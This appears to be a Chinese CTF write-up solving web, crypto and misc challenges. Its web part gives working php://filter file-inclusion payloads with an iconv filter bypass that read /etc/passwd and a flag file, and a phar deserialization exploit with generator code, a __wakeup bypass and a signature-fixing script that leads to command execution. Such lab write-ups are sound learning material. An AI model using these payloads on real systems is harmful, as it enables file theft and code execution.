解题思路
Web
Mypdf
https://r0.haxors.org/posts?id=15
消失的flag
开局一个Access Denied,先不慌
不知道啥原因,放进去随波逐流梭一下
用本地XFF查看网页的时候,发现了页面内容有变化了
那就抓包,然后在BurpSuite中进行修改请求头
X-Forwarded-For: 127.0.0.1
然后结合题目描述
题目描述:
flag就隐藏再某个文件里面,看看能不能包含出来 。
文件包含的参数一般为 file,尝试GET传参 file
发现被过滤了
那么尝试Fuzz看看过滤了哪些
Fuzz字典
`
~
!
@
#
$
%
^
&
*
(
)
-
_
=
+
[
]
{
}
|
\
;
:
'
"
,
.
<
>
/
?
--
--+
/**/
&&
||
<>
!(<>)
and
or
xor
if
not
select
sleep
union
from
where
order
by
concat
group
benchmark
length
in
is
as
like
rlike
limit
offset
distinct
perpare
declare
database
schema
information
table
column
mid
left
right
substr
handler
ascii
set
char
hex
updatexml
extractvalue
regexp
floor
having
between
into
join
file
outfile
load_file
create
drop
convert
cast
show
user
pg_sleep
reverse
execute
open
read
first
case
end
then
iconv
greatest
发送到Intruder,添加 $ 符号
添加payload
发先 #号和 &符号回显正常,可以用 #号 和 & 符号
然后并没有什么用,思路错了,那我们继续回到正轨
那么我们尝试php伪协议读取源码,直接运用php://filter读取源码
首先尝试第一个payload:
?file=php://fil1ter/con1vert.ba1se64-e1ncode/resource=index.php
没有任何回显
其次尝试第二个payload:
?file=php://filter/convert.base64-encode/resource=index.php
发现有回显,叫我们不要do not hack!
那么显而易见,base64-encode关键词被过滤;
那么可以使用 convert.iconv.* 绕过https://blog.csdn.net/yuanxu8877/article/details/127607264
构造payload:
?file=php://filter//convert.iconv.SJIS*.UCS-4*/resource=/etc/passwd
发现成功 回显出了 /etc/passwd 文件
那么我们可以猜测一下flag文件在根目录
?file=php://filter//convert.iconv.SJIS*.UCS-4*/resource=/flag
成功读取到根目录的flag文件
unserialize_web
先看看有没有常见的备份文件或者robots.txt、www.zip、.git、.svn、.www.tar.gz这些
能发现有一个备份文件,www.tar.gz
那么访问 URL/www.tar.gz把备份文件下载下来
看见源码都在这里了,主要就是看upload.php和download.php
然后在CSDN能看到类似的题目,为:[NSSRound#4 SWPU]1zweb
- [NSSRound#4 SWPU]1zweb-CSDN博客
- phar反序列化+文件上传与例题讲解_文件上传加反序列化-CSDN博客
- NSS[羊城杯 2020]easycon+[NSSRound#4 SWPU]1zweb
然后打开题目的链接,开局一个上传表单,给我整不会了,不是说反序列化咩?
然后猜测,可能为需要文件上传加上反序列化的组合拳
然后搜索发现是phar反序列化—文件包含之反序列化(文件上传)
else{
$extensions = array("gif", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$fileExtension = end($temp);
$fileSizeCheck = $_FILES["file"]["size"];
$isExtensionAllowed = in_array($fileExtension, $extensions) ? true : false;
if ($fileSizeCheck && $isExtensionAllowed){
$fileContent = file_get_contents($_FILES["file"]["tmp_name"]);
$haltCompilerCheck = strpos($fileContent, "__HALT_COMPILER();");
if(gettype($haltCompilerCheck) === "integer"){
echo "phar";
从uoload.php的这段代码可以得知,只能上传gif、jpg、png的图片,并且会进行内容检查,文件中不可以包含有“__HALT_COMPILER();”的内容。
所以我们需要将等一下生成phar文件压缩成压缩包来绕过检查。
class File {
public $val1;
public $val2;
public $val3;
public function __construct() {
$this->val1 = "val1";
$this->val2 = "val2";
}
public function __destruct() {
if ($this->val1 === "file" && $this->val2 === "exists") {
if (preg_match('/^\s*system\s*\(\s*\'cat\s+\/[^;]*\'\s*\);\s*$/', $this->val3)) {
eval($this->val3);
} else {
echo "Access Denied";
}
}
}
public function __access() {
$Var = "Access Denied";
echo $Var;
}
public function __wakeup() {
$this->val1 = "exists";
$this->val2 = "file";
echo "文件存在";
}
}
然后从download.php的这段代码可以得知是常规的反序列化。__destruct()魔术方法中有eval()函数可以利用来进行命令执行,存在命令执行漏洞。__destruct()方法里面的 if 语句会先判断变量
v
a
l
1
是否全等于
f
i
l
e
,变量
val1是否全等于file,变量
val1是否全等于file,变量val2是否全等于exists。
然后到下面这段代码
if (preg_match('/^\s*system\s*\(\s*\'cat\s+\/[^;]*\'\s*\);\s*$/', $this->val3)) {
eval($this->val3);
这段代码是一个 PHP 中的条件语句,用于检查一个字符串是否匹配一个特定的模式。如果匹配成功,就会执行 eval 函数来执行字符串中的代码。
让我们来看看这个正则表达式
/^\s*system\s*\(\s*\'cat\s+\/[^;]*\'\s*\);\s*$/:
/^ 和 $ 表示字符串的开始和结束,确保整个字符串都匹配模式。
\s* 匹配零个或多个空白字符。
system 匹配字符串中的 system。
( 和 ) 匹配左右括号。
\s* 匹配零个或多个空白字符。
'cat\s+/[^;]’ 匹配以单引号括起来的以 cat 开头的文件路径。其中:
’ 匹配单引号。
cat 匹配 cat 字符串。
\s+ 匹配一个或多个空白字符。
/ 匹配斜杠 /。
[^;] 匹配零个或多个非分号字符。
’ 匹配单引号。
\s* 匹配零个或多个空白字符。
; 匹配分号。
换句话说,这个正则表达式用于检查字符串是否以 system('cat 开头,后面紧跟着一个文件路径,然后以 '); 结尾。
所以我们可以构造$val3的值为
system('cat /flag');
来获取flag
如果
t
h
i
s
−
>
v
a
l
3
中的内容匹配这个模式,就会执行
e
v
a
l
(
this->val3 中的内容匹配这个模式,就会执行 eval(
this−>val3中的内容匹配这个模式,就会执行eval(this->val3);,这意味着 $this->val3 中的代码将被执行。这种做法存在安全风险,因为它允许任意代码执行,可能导致代码注入等安全漏洞。
将正则表达式可视化https://wangwl.net/static/projects/visualRegex/#
然后这个还要注意需要绕过wakeup()魔术方法:
public function __wakeup() {
$this->val1 = "exists";
$this->val2 = "file";
echo "文件存在";
}
它强制把
v
a
l
1
赋值为
e
x
i
s
t
s
,
val1赋值为exists,
val1赋值为exists,val2赋值为file,会导致我们在后面触发destruct()魔术方法的时候,if 判断会失效
,所以我们需要绕过wakeup()
那就是需要用到CVE-2016-7124,它的影响范围是
PHP5 < 5.6.25
PHP7 < 7.0.10
而它的触发方式也很简单,那就是当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
所以接下来我们要构造一个phar文件,上传之后,让它执行反序列化,从而执行我们的代码
上传时候zip会绕过phar检测,但是phar伪协议会解压zip,在解压时候在file_get_contents()处我们的phar伪协议会触发反序列化,并且进行eval()的命令执行
phar文件生成代码:
<?php
ini_set("phar.readonly", "Off");
class File
{
public $val1;
public $val2;
public $val3;
public function __construct()
{
$this->val1 = "file";
$this->val2 = "exists";
$this->val3 = "system('cat /flag');";
}
}
$a = new File();
$phar = new Phar('aa3.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
php phar.php
运行代码生成phar文件
可以通过010看到phar文件里面的内容是经过序列化的
但是上传然后访问的时候会报错
Warning: file_get_contents(phar://./upload/fuck.jpg): failed to open stream: phar "/var/www/html/upload/fuck.jpg" SHA1 signature could not be verified: broken signature in
这里有一个问题,我们在010处虽然可以修改phar文件绕过wakeup()魔术方法,但是这里存在签名认证,我们得修复签名
使用脚本修复,phar由data,data签名(20位),和签名格式(8位)组成
import gzip
from hashlib import sha1
with open(r'D:\\Downlaods_1\\ANfang_CTF\\Webbbbbb\\aa3.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
s = s.replace(b'3:{', b'4:{')#更换属性值,绕过__wakeup
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
#print(newf)
newf = gzip.compress(newf) #对Phar文件进行gzip压缩
with open(r'D:\\Downlaods_1\\ANfang_CTF\\Webbbbbb\\fuck3.png', 'wb') as file:#更改文件后缀
file.write(newf)
然后上传png图片
在download.php处进行POST传参,使用phar://协议伪来读取phar文件触发反序列化:
file=phar://./upload/fuck3.png
最后获得flag
flag为:
669b01045da0456ea2a2861ce57dd537
Crypto
根据给出的加密脚本,我们可以编写一个解密脚本来还原原始消息。由于 RSA 是非对称加密算法,需要使用私钥来解密消息。在这里,我们已经有了了私钥 d。
先分析一下这段加密的代码:
def encrypt(msg, N, e):
msg = msg.encode()
msg_length = len(msg)
key = b'Life is like an ocean only strong-minded can reach the other shore'
key = key[:msg_length]
xor_key = strxor(msg, key)
m = bytes_to_long(xor_key)
c = pow(m, e, N)
return c, key, N
这段代码是一个简单的 RSA 加密函数,它接受消息 msg、公钥 N 和 e 作为输入,并返回加密后的消息 c、用于加密的密钥 key 和公钥 N。
让我们来逐步分解这个函数:
- msg = msg.encode(): 将输入的消息转换为字节串。
- msg_length = len(msg): 获取消息的长度。
- key = b’Life is like an ocean only strong-minded can reach the other shore’: 定义一个密钥,长度与消息相同。
- key = key[:msg_length]: 如果密钥的长度超过消息长度,就截取与消息相同长度的部分。
- xor_key = strxor(msg, key): 使用异或运算对消息和密钥进行加密。
- m = bytes_to_long(xor_key): 将加密后的消息转换为一个长整数。
- c = pow(m, e, N): 使用 RSA 加密算法对消息进行加密,其中 m 是消息的长整数表示,e 是公钥的指数,N 是公钥的模数。
- 最后返回加密后的消息 c、用于加密的密钥 key 和公钥 N。
总的来说,这段代码使用了简单的对称加密方法(异或运算)对消息进行加密,然后使用 RSA 加密算法对加密后的消息进行进一步加密。
然后编写解密脚本
from Crypto.Util.number import getPrime, bytes_to_long
from Crypto.Util.strxor import strxor
from Crypto.PublicKey import RSA
from Crypto.Util.number import long_to_bytes
def generate_rsa_params(key_size):
p = getPrime(key_size)
q = getPrime(key_size)
N = p * q
phi = (p - 1) * (q - 1)
e = 65537
d = pow(e, -1, phi)
return N, e, d
def encrypt(msg, N, e):
msg = msg.encode()
msg_length = len(msg)
key = b'Life is like an ocean only strong-minded can reach the other shore'
key = key[:msg_length]
xor_key = strxor(msg, key)
m = bytes_to_long(xor_key)
c = pow(m, e, N)
return c, key, N
def decrypt(ciphertext, N, d):
# 使用 RSA 解密算法解密密文
m = pow(ciphertext, d, N)
# 将长整数转换为字节串
xor_key = long_to_bytes(m)
# 获取密钥的长度
key_length = len(xor_key)
# 原始密钥
original_key = b'Life is like an ocean only strong-minded can reach the other shore'
# 截取与密文长度相同的部分
original_key = original_key[:key_length]
# 使用异或运算解密密文得到原始消息
original_msg = strxor(xor_key, original_key)
# 返回解密后的消息
return original_msg.decode()
# 已知条件
d = 4885628697024674802233453512637565599092248491488767824821990279922756927662223348312748794983451796542248787267207054348962258716585568185354414099671493917947012747791554070655258925730967322717771647407982984792632771150018212620323323635510053326184087327891569331050475507897640403090397521797022070233
N = 89714050971394259600440975863751229102748301873549839432714703551498380713981264101533375672970154214062583012365073892089644031804109941766201243163398926438698369735588338279544152140859123834763870759757751944228350552806429642516747541162527058800402619575257179607422628877017180197777983487523142664487
ciphertext = 67254133265602132458415338912590207677514059205474875492945840960242620760650527587490927820914970400738307536068560894182603885331513473363314148815933001614692570010664750071300871546575845539616570277302220914885734071483970427419582877989670767595897758329863040523037547687185382294469780732905652150451
# 使用生成的私钥 d 解密密文
original_message = decrypt(ciphertext, N, d)
print("Decrypted message:", original_message)
这个脚本首先使用 RSA 解密算法 pow(ciphertext, d, N) 解密密文,然后将得到的长整数转换为字节串。接着,它使用异或运算来解密密文,得到原始消息。最后打印出解密后的原始消息。
flag为:
flag{1s_Pa33w0rd_1y2u22}
Misc
Misc1
将压缩包下载下来的时候
看见压缩包名类似MD5加密,使用MD5解密得到密码
https://www.cmd5.org/
得到密码解密,发现是png格式文件,但是打不开,使用010工具查看16进制发现文件头丢失,
补全文件头 89504E47
发现图片是二维码
使用qcr扫描发现没结果,使用微信扫一扫发现
最后使用花朵解密解出flag
https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=huaduo
flag{rUsJyNdKhdKuS4VfO7}
Misc2
解压压缩包
获得一个PNG图片,用010打开,在文件尾部可以看见stegpy提示,猜测为 stegpy 隐写
那么直接用kali来操作
stegpy misc.png -p
发现需要密码,不知道密码
那么继续看图片,发现是一道不定积分,答案是圆周率 π,联想到下面的数字六猜测可能是6位数字,那么 stegpy 隐写的密码可能是 3.1415
获得一串字符
3557736c7371495153424738633644326d352f4b5277672b36676a6d3174723144513855794a556d495a733dk:luckyone
先将前面的那部分十六进制解码一下
然后对其进行DES解密
CBC模式,key 和 偏移量都填上 luckyone
最终解密获得flag
flag{believe_you_are_lucky}